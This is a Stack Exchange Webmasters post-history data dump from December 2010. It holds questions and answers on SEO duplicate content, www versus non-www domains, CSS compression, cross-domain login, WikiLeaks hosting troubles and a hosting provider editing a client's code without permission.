  <row Id="12458" PostHistoryTypeId="2" PostId="6231" RevisionGUID="18f58c2f-9ff7-4c3d-9314-2b5537def137" CreationDate="2010-12-03T07:52:38.593" UserId="3453" Text="The very basic rule is that each single one of your pages must have at least 50% unique content. You can do either your solution or disallow indexing of duplicate pages (using robots.txt or noindex in your meta tags).&#xD;&#xA;&#xD;&#xA;You can use WordPress for managing multiple website - this is very convenient since WordPress and WordPress MU were merged. The way I imagine it would require a bit of hard-coding." />
  <row Id="12459" PostHistoryTypeId="2" PostId="6232" RevisionGUID="b3a12a34-f6c5-4214-a012-a4662d694084" CreationDate="2010-12-03T07:53:45.053" UserId="3453" Text="You mean something like [AdBrite][1]?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.adbrite.com/" />
  <row Id="12460" PostHistoryTypeId="2" PostId="6233" RevisionGUID="f0dbac22-8ab5-4916-bb32-90f0293a7a44" CreationDate="2010-12-03T08:25:12.547" UserId="2228" Text="I personally prefer the `www` domains. As one of @Jonathon's points, the real main reason is with cookies. When you have `domain.com` and you apply a cookie to it, that cookie governs all sub domains such as `www.domain.com`, `foo.domain.com` and `bar.domain.com` which can cause you headaches in the future if you're dealing with sessions or security.&#xD;&#xA;&#xD;&#xA;You can always have a `domain.com` redirect to a `www.domain.com` on the server side so when it comes to print media or linking with other sites, the less there is the better. A user will not bother to remember the `www` of `www.domain.com` so its useless information and I would go as far as to say that the attempt to do so will make the user unhappy, thereby making them avoid your site altogether.&#xD;&#xA;&#xD;&#xA;If you're interested/are using the framework, I can supply the code for such a redirect in the form of an `ActionFilterAttribute` for ASP.NET MVC (I spent 2 days perfecting the filter on my own, so I'm feeling pretty confident about it).&#xD;&#xA;&#xD;&#xA;On another note, when it comes to the actual code on your site, don't skip out on details. Meaning, don't try to take `http://www.domain.com/Something/Something-Else` into `domain.com/Something/Something-Else`.&#xD;&#xA;&#xD;&#xA; 1. It's not going to work because the&#xD;&#xA;    browsers don't understand&#xD;&#xA;    protocol-less links.&#xD;&#xA; 2. Even if they did, the second Uri will cause a&#xD;&#xA;    redirect to the `www` version if&#xD;&#xA;    you're normalizing, resulting in a&#xD;&#xA;    pointless round trip back to the&#xD;&#xA;    server." />
  <row Id="12461" PostHistoryTypeId="2" PostId="6234" RevisionGUID="fb1c3cb8-3e78-411c-b3f6-e19ac54c30b4" CreationDate="2010-12-03T08:28:59.937" UserId="3461" Text="Maybe too obvious, but what about using the js/code used for google images search or shoutcast.com (once you click in a category, showing all radio stations at the right)&#xD;&#xA;&#xD;&#xA;Basically it &quot;hides&quot; the content but when click in a large 2.0ish button of Show More, there's no reload, but an instant, non moving deploy of more content. Imo that's best.&#xD;&#xA;&#xD;&#xA;Being used lately in many places." />
  <row Id="12462" PostHistoryTypeId="2" PostId="6235" RevisionGUID="bba95de6-83a7-4428-9dde-0ad9ce84b98c" CreationDate="2010-12-03T08:36:11.130" UserDisplayName="Anonymous" Text="WikiLeaks is under a lot of attack. It has been ousted from DNS servers, Amazon has kicked it out. It is facing massive DDOS attacks.&#xD;&#xA;&#xD;&#xA;Under these circumstances what can WikiLeaks do to remain afloat?" />
  <row Id="12463" PostHistoryTypeId="1" PostId="6235" RevisionGUID="bba95de6-83a7-4428-9dde-0ad9ce84b98c" CreationDate="2010-12-03T08:36:11.130" UserDisplayName="Anonymous" Text="How to help WikiLeaks remain up and running?" />
  <row Id="12464" PostHistoryTypeId="3" PostId="6235" RevisionGUID="bba95de6-83a7-4428-9dde-0ad9ce84b98c" CreationDate="2010-12-03T08:36:11.130" UserDisplayName="Anonymous" Text="&lt;security&gt;" />
  <row Id="12465" PostHistoryTypeId="2" PostId="6236" RevisionGUID="347e6a1b-83b3-4973-b847-99f3951b195c" CreationDate="2010-12-03T08:45:37.657" UserId="798" Text="[Yahoo][1] has one, so does [Microsoft][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yui/compressor/&#xD;&#xA;  [2]: http://aspnet.codeplex.com/releases/view/34488" />
  <row Id="12466" PostHistoryTypeId="2" PostId="6237" RevisionGUID="280f8882-eb0b-4cbc-8344-77ba1ef3d400" CreationDate="2010-12-03T08:48:49.310" UserId="1647" Text="The most used CSS compressor is [YUI Compressor][1]. It supports both JS and CSS.&#xD;&#xA;&#xD;&#xA;Talking about JS, [Google Closure][2] offers a more powerful set of features compared to YUI Compressor.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/yui/compressor/&#xD;&#xA;  [2]: http://code.google.com/closure/compiler/" />
  <row Id="12467" PostHistoryTypeId="2" PostId="6238" RevisionGUID="4947f0f5-bf28-4e5c-8e8e-bcb797c8ac44" CreationDate="2010-12-03T08:51:11.213" UserId="1647" Text="Choose `&lt;link&gt;` over `@import`:&#xD;&#xA;&#xD;&#xA;* [Best Practices for Speeding Up Your Web Site][1]&#xD;&#xA;* [Don't use @import][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://developer.yahoo.com/performance/rules.html#csslink&#xD;&#xA;  [2]: http://www.stevesouders.com/blog/2009/04/09/dont-use-import/" />
  <row Id="12468" PostHistoryTypeId="5" PostId="6185" RevisionGUID="6a5d0b95-13ab-4659-b90c-b1103e070a29" CreationDate="2010-12-03T09:18:18.343" UserId="3590" Comment="deleted 33 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE   -   NECESSARY   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P consice summary + teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P description + teaser - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir listing - N no - G?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;syndication-source&quot;  P url for syndication of published news - N? - G?&#xD;&#xA;    meta &quot;original-source&quot; P url of whoever broke the news gets credits - N? - G?&#xD;&#xA;&#xD;&#xA;    #### seems obsolete&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G yes &#xD;&#xA;    meta &quot;author&quot; = P author of the page - N? - G?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N? - G?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N? - G?&#xD;&#xA;    meta &quot;revisit-after&quot; = P when to revisit like  content=&quot;1 day&quot;&#xD;&#xA;&#xD;&#xA;    #### invented&#xD;&#xA;    meta &quot;audience&quot; = P filteres visitors &quot;+seniors, -children, -youth, +adult&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual mood: &quot;discussion, informative, commercial,&#xD;&#xA;                    sensual, fictional, scientific, romantic, therapeutic&quot;" />
  <row Id="12469" PostHistoryTypeId="2" PostId="6239" RevisionGUID="6347047d-3fab-40b4-a36e-0755972d44af" CreationDate="2010-12-03T09:20:55.960" UserId="1955" Text="Have you tried to use gzip compression. This will bring you much more benefits than the standard compression. Also have in mind that compressing some JS files may bring you troubles. Last year I used internet by broadband connection(GSM network) where the provider`s proxy compressed all the content to lower the bandwidth and  this causes me troubles with some sites so test everything you compressed. &#xD;&#xA;&#xD;&#xA;Please post and update what optimisation method you choose and what was the benefit." />
  <row Id="12470" PostHistoryTypeId="5" PostId="6107" RevisionGUID="0ad024c0-636f-43fc-9009-65309b778cb7" CreationDate="2010-12-03T09:49:54.553" UserId="3590" Comment="added 45 characters in body" Text="1. **http://yoursite.com**&#xD;&#xA;&#xD;&#xA;2. **www.yoursite.com** &#xD;&#xA;&#xD;&#xA;3. **http://www.yoursite.com** &#xD;&#xA;&#xD;&#xA;4. **yoursite.com** &#xD;&#xA;&#xD;&#xA;Which of these would you choose as your favourite to work with, if you were to make a site for 2011 and beyond, which domainname would you provide to clients, websites linking to you, your letterhead, contact cards. Why one OR other? Which to avoid?&#xD;&#xA;&#xD;&#xA;Thinking of the following aspects:&#xD;&#xA;&#xD;&#xA; - validity, correctly loading url&#xD;&#xA; - audience, most geeks know http://, most seniors/clients don't&#xD;&#xA; - easiest to remember / url as a brand&#xD;&#xA; - misspellings by user input (in mobile phone or desktop browser)&#xD;&#xA; - browsers not understanding protocol-less links&#xD;&#xA; - total length of chars for easy user input&#xD;&#xA; - method of peferance by major search engines/social media sites&#xD;&#xA; - consistency sothat links dont fragment but all point to the same" />
  <row Id="12471" PostHistoryTypeId="2" PostId="6240" RevisionGUID="0227a282-8242-4b00-ad46-d3b42ae91fb6" CreationDate="2010-12-03T10:10:12.877" UserId="3598" Text="I am having a wordpress installed at www.mydomain.com/blog/wordpress/&#xD;&#xA;I am planning to move it to www.mydomain.com/blog/&#xD;&#xA;&#xD;&#xA;Will this cause any broken links. &#xD;&#xA;&#xD;&#xA;This question may seem stupid but please help me in this." />
  <row Id="12472" PostHistoryTypeId="1" PostId="6240" RevisionGUID="0227a282-8242-4b00-ad46-d3b42ae91fb6" CreationDate="2010-12-03T10:10:12.877" UserId="3598" Text="Is moving my site from one folder to another folder cause broken links problem?" />
  <row Id="12473" PostHistoryTypeId="3" PostId="6240" RevisionGUID="0227a282-8242-4b00-ad46-d3b42ae91fb6" CreationDate="2010-12-03T10:10:12.877" UserId="3598" Text="&lt;seo&gt;&lt;links&gt;" />
  <row Id="12474" PostHistoryTypeId="2" PostId="6241" RevisionGUID="d60c3261-d1a7-4801-885a-c9257f8d7171" CreationDate="2010-12-03T10:20:02.273" UserId="3498" Text="You just rename the blog address in settings and all will work fine." />
  <row Id="12475" PostHistoryTypeId="2" PostId="6242" RevisionGUID="473b1496-6907-4c5b-b43b-c6cf87b8605b" CreationDate="2010-12-03T10:47:35.773" UserId="1424" Text="I've a website with 2 domains (.nl and .com) and a translated version of the content is displayed depending on the domain.&#xD;&#xA;&#xD;&#xA;My issue is that when a client login under a .nl domain, and he moves to the .com domain, he is not anymore logged in.&#xD;&#xA;&#xD;&#xA;thanks" />
  <row Id="12476" PostHistoryTypeId="1" PostId="6242" RevisionGUID="473b1496-6907-4c5b-b43b-c6cf87b8605b" CreationDate="2010-12-03T10:47:35.773" UserId="1424" Text="how to handle login between different domains ?" />
  <row Id="12477" PostHistoryTypeId="3" PostId="6242" RevisionGUID="473b1496-6907-4c5b-b43b-c6cf87b8605b" CreationDate="2010-12-03T10:47:35.773" UserId="1424" Text="&lt;domains&gt;&lt;login&gt;" />
  <row Id="12478" PostHistoryTypeId="2" PostId="6243" RevisionGUID="efd2eb24-55f5-46c0-b7d3-15c46c6378cf" CreationDate="2010-12-03T11:11:25.107" UserId="3625" Text="I am a web developer and I want to create clones of the sites I've developed for clients, so that I have an &quot;original copy&quot; on a subdomain of my own website, so that I can showcase my work to new clients.&#xD;&#xA;&#xD;&#xA;What is the best way to not get my clients original websites penalised for duplicate content?&#xD;&#xA;&#xD;&#xA;I am planning to have a robots.txt file that disallows all robots, as well as using&#xD;&#xA;&#xD;&#xA;`&lt;link href=&quot;http://www.client-canonical-site.com/&quot; rel=&quot;canonical&quot; /&gt;` &#xD;&#xA;&#xD;&#xA;in the `&lt;head&gt;` of the pages. &#xD;&#xA;&#xD;&#xA;Is that sufficient? Should I use rel=nofollow on all the links as well?" />
  <row Id="12479" PostHistoryTypeId="1" PostId="6243" RevisionGUID="efd2eb24-55f5-46c0-b7d3-15c46c6378cf" CreationDate="2010-12-03T11:11:25.107" UserId="3625" Text="How can I clone or mirror a site without SEO penalties for duplicate content?" />
  <row Id="12480" PostHistoryTypeId="3" PostId="6243" RevisionGUID="efd2eb24-55f5-46c0-b7d3-15c46c6378cf" CreationDate="2010-12-03T11:11:25.107" UserId="3625" Text="&lt;seo&gt;&lt;web-development&gt;" />
  <row Id="12481" PostHistoryTypeId="2" PostId="6244" RevisionGUID="b674181e-e443-4d18-b9f3-3e5402574f1d" CreationDate="2010-12-03T11:26:47.520" UserId="3453" Text="Use robots.txt and put the following inside:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;That's really all you need. Also, if a client's website is indexed as the original one, it won't get a penalty from duplicates." />
  <row Id="12482" PostHistoryTypeId="2" PostId="6245" RevisionGUID="a020a68e-1103-4a8c-aeea-2bcabbe62fa1" CreationDate="2010-12-03T11:28:11.607" UserId="3307" Text="The problem with web bots is that you have to assume that they will follow all the rules that you've set out.&#xD;&#xA;&#xD;&#xA;If they're going to follow any of them, it will be the robots.txt file, so having just that that *should* be enough. However, the rest won't hurt." />
  <row Id="12483" PostHistoryTypeId="2" PostId="6246" RevisionGUID="5939f947-bcf6-4799-a1c8-282dc2aee3df" CreationDate="2010-12-03T11:33:43.053" UserId="3453" Text="They can buy more servers.&#xD;&#xA;&#xD;&#xA;I don't think they are going to be shut down anytime soon." />
  <row Id="12484" PostHistoryTypeId="2" PostId="6247" RevisionGUID="06fd00ad-fcb2-4c39-9149-66f536090aaa" CreationDate="2010-12-03T12:25:09.420" UserId="3626" Text="There are a growing number of issues WikiLeaks are currently dealing with, not only the eviction from Amazon Web Services (http://www.readwriteweb.com/cloud/2010/12/amazon-explains-wikileaks.php), but now their DNS Provider has also decided to no longer provide them with their service (http://www.readwriteweb.com/cloud/2010/12/wikileaks-loses-its-dns-servic.php).&#xD;&#xA;&#xD;&#xA;How can you support WikiLeaks?&#xD;&#xA;&#xD;&#xA; 1. Donate to their cause (https://donations.datacell.com/), providing funding for them to find new providers and continue their work.&#xD;&#xA; 2. Show your support for WikiLeaks by not purchasing services from providers who have chosen to drop them (ie Amazon Web Services and EveryDNS).&#xD;&#xA; 3. Show your support by purchasing services from providers who have taken on WikiLeaks as a customer, like Bahnhof Web Hosting (http://www.bahnhof.se/colocation.php).&#xD;&#xA; 4. Contact your Congressman and urge them to support WikiLeaks in any discussions within the Government. Tell them why you believe WikiLeaks is a force for good, and why it should not be considered a threat to the general public.&#xD;&#xA;" />
  <row Id="12485" PostHistoryTypeId="10" PostId="6235" RevisionGUID="cff1313a-ed0d-4b1e-857e-008a3dbb07d3" CreationDate="2010-12-03T12:49:28.400" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="12486" PostHistoryTypeId="2" PostId="6248" RevisionGUID="4c26922e-9304-4475-91dc-18c13d960a23" CreationDate="2010-12-03T12:49:36.790" UserId="221" Text="This is essentially the same problem StackExchange had with 'global network auto-login'.&#xD;&#xA;&#xD;&#xA;Here is what Jeff wrote on the [blog][1] about their implementation:&#xD;&#xA;&#xD;&#xA;&gt; While subdomains such as chat.serverfault and meta.serverfault are easy if you store your cookies the right way, getting access to cookies at different domains is, to put it charitably, a friggin’ nightmare. The whole third party cookie story — that is, reading or writing cookies stored at a domain other than the one you’re currently on — is irreversibly screwed up, and getting worse with every new browser release, thanks mostly to unscrupulous ad networks.&#xD;&#xA;&#xD;&#xA;&gt; So, we gave up on using third-party cookies. Instead, we use [HTML 5 Local Storage][2] for global authentication, at our centralized domain stackauth.com. Now, this does require a modern browser, though not unreasonably so: IE8+, Chrome, Safari, FireFox 3.6+, and Opera 10.61+ are all supported.&#xD;&#xA;&#xD;&#xA;I'm assuming that the user is accessing your site via HTTP. If it is via HTTPS, you are out of luck, the user will have to log in again.&#xD;&#xA;&#xD;&#xA;Overall however, I would urge you to design the site in such a manner that the user never has to move between top level domains. You could for instance replicate `example.nl` on `nl.example.com` and rely on the latter if the user is already logged in on `example.com` (and vica versa).&#xD;&#xA;&#xD;&#xA;For SEO purposes you would probably want to disallow all crawling of `nl.example.com`&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.stackoverflow.com/2010/09/global-network-auto-login/&#xD;&#xA;  [2]: http://diveintohtml5.org/storage.html" />
  <row Id="12487" PostHistoryTypeId="2" PostId="6249" RevisionGUID="1bb3f9c9-15e3-41a9-bf2e-69669be1a3f1" CreationDate="2010-12-03T13:09:44.703" UserId="3467" Text="Hmm, there's several problems when you do this.&#xD;&#xA;&#xD;&#xA;First of all, the real url of the page that is navigated to is not in the original page. Having a `page.php?location=Home` (where page.php processes your query and redirects to `location`) for all your links makes people only see the page.php url. I'm not sure how many people actually look at what url they're visiting, but it could be confusing if people see that all links point to the same page. Some websites do this for outgoing links and it always really annoys me I can't see the destination of the link in one glance.&#xD;&#xA;&#xD;&#xA;Of course CMS'es like Joomla and MediaWiki do this by default (index.php?id=1) but it's generally accepted that clean urls with no parameters have both better usability and better Google indexing.&#xD;&#xA;&#xD;&#xA;Concerning search engines, of course there's the PHP header that can help out. You can just use a 301 redirect code in your header before sending it:&#xD;&#xA;http://phpprogrammingguide.blogspot.com/2005/11/php-header-301-redirect-moved.html&#xD;&#xA;&#xD;&#xA;That way search engines will associate `page.php?location=Home` with `/home/`, ditto for all other pages. You could even go as far as to install Google Webmaster tools and manually point out which of the parameters should be ignored and which shouldn't (`location` obviously shouldn't be ignored as it lets Google tell apart the different internal links).&#xD;&#xA;&#xD;&#xA;Also, adding a rel=&quot;canonical&quot; in the pages will help search engines recognize what url should be which. Even if they end up on a page with `?location=x` having a canonical url with `/x/` will make sure that the right url is indexed.&#xD;&#xA;&#xD;&#xA;Another problem is going to be the browser's back button. This is the most used button on the internet, and it won't work on your site if you use this script. Clicking back will take a user to the page.php page and just redirect them forward again, causing much irritation at the user's side and wrong stats at your side.&#xD;&#xA;&#xD;&#xA;Last of all, it's really really important not to have page.php break. Sometimes it just happens that a link or page breaks for whatever reasons. One broken page in your site is annoying, but if page.php break ALL internal links are defunct. You could prevent this by letting the script email you as soon as someone encounters an error or whatever, but just be careful.&#xD;&#xA;&#xD;&#xA;All in all I'd avoid it if you can do it any other way. There's work-arounds for search engines but it'll hurt your usability no matter what." />
  <row Id="12491" PostHistoryTypeId="2" PostId="6252" RevisionGUID="ad6cd08a-d296-47ea-965f-0d86cfa5755d" CreationDate="2010-12-02T20:49:09.853" UserDisplayName="Jack" Text="Try WordPress (http://wordpress.org/). It's an extremely easy to set up blog software that allows multiple accounts as well as posting Images and Video. If you a beginner may be the easiest software to setup/use. Not sure exactly what your trying to accomplish, but I hope it helps!" />
  <row Id="12492" PostHistoryTypeId="2" PostId="6253" RevisionGUID="cabffa0b-e7f0-462b-b021-e4efdbb5b451" CreationDate="2010-12-02T20:55:45.270" UserDisplayName="Thomas Langston" Text="There are plenty of open source blog software options, but what you describe seems more to do with the visuals of your exiting site and not blogging.&#xD;&#xA;&#xD;&#xA;What you need probably is a way for users to modify the CSS file associated with their portfolio, perhaps with a GUI or if you have technical users just a straight file upload.&#xD;&#xA;&#xD;&#xA;Some open source blog options if I misread your needs:&#xD;&#xA;&#xD;&#xA; - Wordpress&#xD;&#xA; - Movable Type &#xD;&#xA; - b2evolution&#xD;&#xA; - BlogEngine.Net &#xD;&#xA; - LifeType&#xD;&#xA; - Toto&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12493" PostHistoryTypeId="2" PostId="6251" RevisionGUID="12850d26-517e-4fcf-b359-d344176b9c49" CreationDate="2010-12-02T20:45:45.613" UserDisplayName="agrawalankur" Text="We currently have a photo storage website. A user can store his photos on our site. We want to give a facility to each user to create his photo portfolio and customize its look and feel, and contents more like a blog hosting. I am very beginner here. Is there any open source software that I can use?&#xD;&#xA;&#xD;&#xA;Thanks" />
  <row Id="12494" PostHistoryTypeId="1" PostId="6251" RevisionGUID="12850d26-517e-4fcf-b359-d344176b9c49" CreationDate="2010-12-02T20:45:45.613" UserDisplayName="agrawalankur" Text="portfolio blog hosting" />
  <row Id="12495" PostHistoryTypeId="3" PostId="6251" RevisionGUID="12850d26-517e-4fcf-b359-d344176b9c49" CreationDate="2010-12-02T20:45:45.613" UserDisplayName="agrawalankur" Text="&lt;php&gt;&lt;web-development&gt;&lt;open-source&gt;&lt;websites&gt;&lt;blog&gt;" />
  <row Id="12496" PostHistoryTypeId="17" PostId="6251" RevisionGUID="86d39dfb-61f5-418f-bcff-35d54084afc9" CreationDate="2010-12-03T14:13:43.143" UserId="-1" Comment="from http://stackoverflow.com/questions/4339665/portfolio-blog-hosting" Text="" />
  <row Id="12500" PostHistoryTypeId="2" PostId="6254" RevisionGUID="b0e4c1de-550c-4319-a2c3-e1d860c372bc" CreationDate="2010-12-03T14:52:05.617" UserDisplayName="SEO Panel" Text="Been using [SEOElectric][1] which is a non API based SERP Tracker, its not good to have API's in these types of web-panels... as the results differ from natural search results... I've checked out Raven and the others and there's always something shy&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.seoelectric.com" />
  <row Id="12501" PostHistoryTypeId="2" PostId="6255" RevisionGUID="8c21a9a7-13b8-4f89-b6ea-452e60be9988" CreationDate="2010-12-03T15:00:15.193" UserId="3142" Text="That's a thought provoking question, and your answers are varied quite a bit. Choosing the best answer will be pretty subjective, but the discussion and differences between the answers will be useful to everyone.&#xD;&#xA;&#xD;&#xA;That being said, here's an idea...&#xD;&#xA;&#xD;&#xA;Here is my *interpretation* of the requirements:&#xD;&#xA;&#xD;&#xA; - Make it fit the existing site's structure, specifically the paging paradigm&#xD;&#xA; - Present to the browser actual text of the story as text (&quot;accessibility&quot;). This also enables other features such as external indexing of the pages by search engines, and site search (if you have it), on-page SEO.&#xD;&#xA; - Maintain the artistic integrity: present the text within each cell as it was handwritten by the artist.&#xD;&#xA; - Present, if possible, all of the cells as they were drawn together on the page. [Are the little boxes called &quot;cells&quot; and do you have them? I'm visioning comic-book like artwork, but it could be something different.]&#xD;&#xA;&#xD;&#xA;Given those things, I think the best approach would be to present to the user two &quot;frames&quot; of material (you could use iFrames if you wish, but it's not necessary); I'm not suggesting the use of HTML frames.&#xD;&#xA;&#xD;&#xA; 1. **First &quot;frame&quot; of content:** a scaled down view of the entire page as a single image, not meant to be read, but used to both show the complete composition and also serve as an aid to the navigation of the book.&#xD;&#xA; 2. **Second &quot;frame&quot; of content:** a large image of each comic cell, accompanied by the text that is part of that cell's image, but as text. Give the user the option to hide the text, but display the text as a default.&#xD;&#xA;&#xD;&#xA;The user would page through the cells by clicking, perhaps, a triangle pointing right, allowing them to go back a cell with a triangle pointing left.&#xD;&#xA;&#xD;&#xA;I'd also suggest two more thumbnails: an even smaller view of the image of the next page (with more cells), and an equally small view of the image of the previous page. This way, the user can navigate to the actual pages of the book, not just clicking cell by cell.&#xD;&#xA;&#xD;&#xA;I think that it's worth considering, also, to hide the rest of your site elements. You could make this an option the user could click (like hiding the text), or you could just hide the typical site UI upon the opening of the book -- immersing the user in the fullest experience of the graphic novel online. You could also offer a toggle of the site UI by giving a site logo/button [rest of site: SHOW | HIDE].&#xD;&#xA;&#xD;&#xA;Here is why I suggest this approach:&#xD;&#xA;&#xD;&#xA; - You avoid the incorporation of a document or file (such as PDF, DjVu).&#xD;&#xA; - You provide &quot;accessibility&quot; but not only for the purpose of accessibility, you get the text of the content onto the page which is obviously good for search, etc.&#xD;&#xA; - You present the user with as much of the artistic feel as possible -- showing the full page and an enlarged view of each cell.&#xD;&#xA; - If you hide the rest of your site's UI, the reader is immersed in the novel, losing the feel of browsing a website. IMO this helps maintain the artistic integrity.&#xD;&#xA; - It doesn't require HTML5 or a technology that limits the number of potential readers.&#xD;&#xA; - You don't put the novel's content inside `alt` text." />
  <row Id="12502" PostHistoryTypeId="2" PostId="6256" RevisionGUID="b1030f55-2864-4732-b9e6-88703a69915c" CreationDate="2010-12-03T15:13:36.310" UserDisplayName="Serg" Text="I want to create a site that basically lets me:&#xD;&#xA;&#xD;&#xA; 1. Write tutorial articles with nice formatting.&#xD;&#xA; 2. Display flash videos for my viewers.&#xD;&#xA;&#xD;&#xA;Any suggestions on a free solution? Something that would allow me to purchase a domain name and upgrade would be a plus.&#xD;&#xA;&#xD;&#xA;Thanks!&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12503" PostHistoryTypeId="1" PostId="6256" RevisionGUID="b1030f55-2864-4732-b9e6-88703a69915c" CreationDate="2010-12-03T15:13:36.310" UserDisplayName="Serg" Text="What free hosting solution do you recommend for this use case?" />
  <row Id="12504" PostHistoryTypeId="3" PostId="6256" RevisionGUID="b1030f55-2864-4732-b9e6-88703a69915c" CreationDate="2010-12-03T15:13:36.310" UserDisplayName="Serg" Text="&lt;web-hosting&gt;&lt;free&gt;" />
  <row Id="12505" PostHistoryTypeId="2" PostId="6258" RevisionGUID="05036fac-26d8-4672-953d-d3b36d07a011" CreationDate="2010-12-03T14:53:52.253" UserDisplayName="wheaties" Text="While I don't know where this question belongs in the StackExchange network but I will say this:  They should have informed you of their decision to move the location of your servers and how they intended to do it.  You should have been involved to make sure that the move was seemless.  You original site should have been shut down temporarily.  &#xD;&#xA;&#xD;&#xA;From the sound of it their behavior and actions caused you material harm.  I would not use them in the future and I would check your contracts with them to ensure that they haven't violated some agreement." />
  <row Id="12506" PostHistoryTypeId="2" PostId="6259" RevisionGUID="1808e91c-f5b9-43db-b146-61398158030a" CreationDate="2010-12-03T14:55:19.483" UserDisplayName="eykanal" Text="I don't know if it's hacking from a legal standpoint, but that's horrible customer service. You should definitely switch providers. You may also want to review the Terms Of Service with your existing company to see whether they specify that they are allowed to do something like that." />
  <row Id="12507" PostHistoryTypeId="2" PostId="6260" RevisionGUID="8a7ce283-e5c6-4f9c-a6d2-6d184537aac1" CreationDate="2010-12-03T14:59:08.660" UserDisplayName="Alex Howansky" Text="I would be absolutely livid if my host did this to me. I'd probably respond with something like, &quot;What the *F* were you thinking? Never touch my code, you have no idea what the implications are. I'd like to be reimbursed for this month's fees and I will be taking my business elsewhere.&quot;" />
  <row Id="12508" PostHistoryTypeId="2" PostId="6261" RevisionGUID="97a2d7ba-9446-48f6-8e4c-e9e7e06c3785" CreationDate="2010-12-03T15:02:35.140" UserDisplayName="ivy" Text="I wouldn't call this 'hacked'. It sounds like their intentions were good, but they were very naive and unprofessional. Switch to another provider if you're not happy, or teach them they can't do this without informing you." />
  <row Id="12509" PostHistoryTypeId="2" PostId="6257" RevisionGUID="520b12cc-c905-4086-ade0-707f44a95c79" CreationDate="2010-12-03T14:51:00.317" UserDisplayName="dazhall" Text="OK, so our hosting company decided to clone our site and database onto a new serve. Without our knowledge or permission they then edited our code to point to the new database. The old server was left running, still pointing at the original database. The DNS was changed to reflect the new IP address of the server. &#xD;&#xA;&#xD;&#xA;Obviously during the propagation customers were hitting both the new and old servers, resulting in orders coming in to both databases, sometimes being split between the two. We're now attempting to reconcile the two databases.&#xD;&#xA;&#xD;&#xA;The question I have is is it still hacking if it was done by your own hosting company?! I'm fairly sure they shouldn't have edited our code! If they had left it as it was the site would have stayed pointed at the original database and we wouldn't be in this mess!&#xD;&#xA;&#xD;&#xA;I'm thinking that legal advice is need but just wanted to know if anyone had ever come across this situation before?! " />
  <row Id="12510" PostHistoryTypeId="1" PostId="6257" RevisionGUID="520b12cc-c905-4086-ade0-707f44a95c79" CreationDate="2010-12-03T14:51:00.317" UserDisplayName="dazhall" Text="Hacked by our own hosting company!" />
  <row Id="12511" PostHistoryTypeId="3" PostId="6257" RevisionGUID="520b12cc-c905-4086-ade0-707f44a95c79" CreationDate="2010-12-03T14:51:00.317" UserDisplayName="dazhall" Text="&lt;security&gt;&lt;web-hosting&gt;&lt;legal&gt;&lt;hacking&gt;" />
  <row Id="12512" PostHistoryTypeId="17" PostId="6257" RevisionGUID="ea4d04fe-3a05-401c-ad60-0aa4131d6414" CreationDate="2010-12-03T15:23:07.553" UserId="-1" Comment="from http://stackoverflow.com/questions/4346691/hacked-by-our-own-hosting-company" Text="" />
  <row Id="12513" PostHistoryTypeId="2" PostId="6262" RevisionGUID="a2bfa3b2-78db-4a6a-b2cb-d409788af4b1" CreationDate="2010-12-03T15:27:23.400" UserId="3429" Text="You can always use a free blogging service ([blogger][1], [wordpress][2]) and use [youtube][3] to host your videos and embed them in the post.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.blogger.com/&#xD;&#xA;  [2]: http://wordpress.com/&#xD;&#xA;  [3]: http://www.youtube.com" />
  <row Id="12514" PostHistoryTypeId="2" PostId="6263" RevisionGUID="122c55ff-d081-4225-8f1c-022212e07367" CreationDate="2010-12-03T15:58:50.750" UserId="3635" Text="i m developing toy portal&#xD;&#xA;and i am masking texture on toys&#xD;&#xA;i do normal masking&#xD;&#xA;but i need that texture (masking material) mold on specific place &#xD;&#xA;&#xD;&#xA;like if i mask on horse&#xD;&#xA;on face it should be horizontal line and also on body&#xD;&#xA;but on legs it sould be molded vertical mask&#xD;&#xA;&#xD;&#xA;pls help me and if you have an example it would be appriciate&#xD;&#xA;&#xD;&#xA;i am thinking to give full project to developer who can do this&#xD;&#xA;my email is info@0creativity.com (pls copy paste)&#xD;&#xA;&#xD;&#xA;thx" />
  <row Id="12515" PostHistoryTypeId="1" PostId="6263" RevisionGUID="122c55ff-d081-4225-8f1c-022212e07367" CreationDate="2010-12-03T15:58:50.750" UserId="3635" Text="mold masking help" />
